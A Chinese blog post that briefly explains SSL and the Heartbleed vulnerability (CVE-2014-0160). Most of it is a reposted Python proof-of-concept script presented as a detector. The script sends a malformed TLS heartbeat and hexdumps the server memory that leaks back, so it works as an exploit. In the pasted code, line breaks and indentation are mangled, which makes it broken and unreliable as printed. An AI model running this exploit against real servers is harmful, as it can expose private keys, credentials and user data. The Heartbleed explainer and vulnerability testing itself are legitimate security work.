一个检测OpenSSL心脏出血漏洞的Python脚本分享

什么是SSL？

SSL是一种流行的加密技术，可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后，第三方无法读取你与该网站之间的任何通讯信息。在后台，通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出，1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞？

SSL标准包含一个心跳选项，允许SSL连接一端的电脑发出一条简短的信息，确认另一端的电脑仍然在线，并获取反馈。研究人员发现，可以通过巧妙的手段发出恶意心跳信息，欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗，并发送服务器内存中的信息。

谁发现的这个问题？

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低，研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作，在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):
 return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01 
''')hb = h2bin('''
18 03 02 00 03
01 40 00
''')def hexdump(s):
 for b in xrange(0, len(s), 16):
 lin = [c for c in s[b : b + 16]]
 hxdat = ' '.join('%02X' % ord(c) for c in lin)
 pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
 print ' %04x: %-48s %s' % (b, hxdat, pdat)
 printdef recvall(s, length, timeout=5):
 endtime = time.time() + timeout
 rdata = ''
 remain = length
 while remain > 0:
 rtime = endtime - time.time()
 if rtime < 0:
 return None
 r, w, e = select.select([s], [], [], 5)
 if s in r:
 data = s.recv(remain)
 # EOF?
 if not data:
 return None
 rdata += data
 remain -= len(data)
 return rdata
def recvmsg(s):
 hdr = recvall(s, 5)
 if hdr is None:
 print 'Unexpected EOF receiving record header - server closed connection'
 return None, None, None
 typ, ver, ln = struct.unpack('>BHH', hdr)
 pay = recvall(s, ln, 10)
 if pay is None:
 print 'Unexpected EOF receiving record payload - server closed connection'
 return None, None, None
 print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
 return typ, ver, paydef hit_hb(s):
 s.send(hb)
 while True:
 typ, ver, pay = recvmsg(s)
 if typ is None:
 print 'No heartbeat response received, server likely not vulnerable'
 return False if typ == 24:
 print 'Received heartbeat response:'
 hexdump(pay)
 if len(pay) > 3:
 print 'WARNING: server returned more data than it should - server is vulnerable!'
 else:
 print 'Server processed malformed heartbeat, but did not return any extra data.'
 return True if typ == 21:
 print 'Received alert:'
 hexdump(pay)
 print 'Server returned error, likely not vulnerable'
 return Falsedef main():
 opts, args = options.parse_args()
 if len(args) < 1:
 options.print_help()
 return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 print 'Connecting...'
 sys.stdout.flush()
 s.connect((args[0], opts.port))
 print 'Sending Client Hello...'
 sys.stdout.flush()
 s.send(hello)
 print 'Waiting for Server Hello...'
 sys.stdout.flush()
 while True:
 typ, ver, pay = recvmsg(s)
 if typ == None:
 print 'Server closed connection without sending Server Hello.'
 return
 # Look for server hello done message.
 if typ == 22 and ord(pay[0]) == 0x0E:
 break print 'Sending heartbeat request...'
 sys.stdout.flush()
 s.send(hb)
 hit_hb(s)if __name__ == '__main__':
 main()

到此这篇关于一个检测OpenSSL心脏出血漏洞的Python脚本分享就介绍到这了。一旦选准自己要走的道路，就勇敢地走下去，再难也要坚持，再远也不要放弃。一分耕耘未必有一分收获，但九分耕耘一定会有一分收获！天道酬勤！越努力，越幸运！更多相关一个检测OpenSSL心脏出血漏洞的Python脚本分享内容请查看相关栏目，小编编辑不易，再次感谢大家的支持！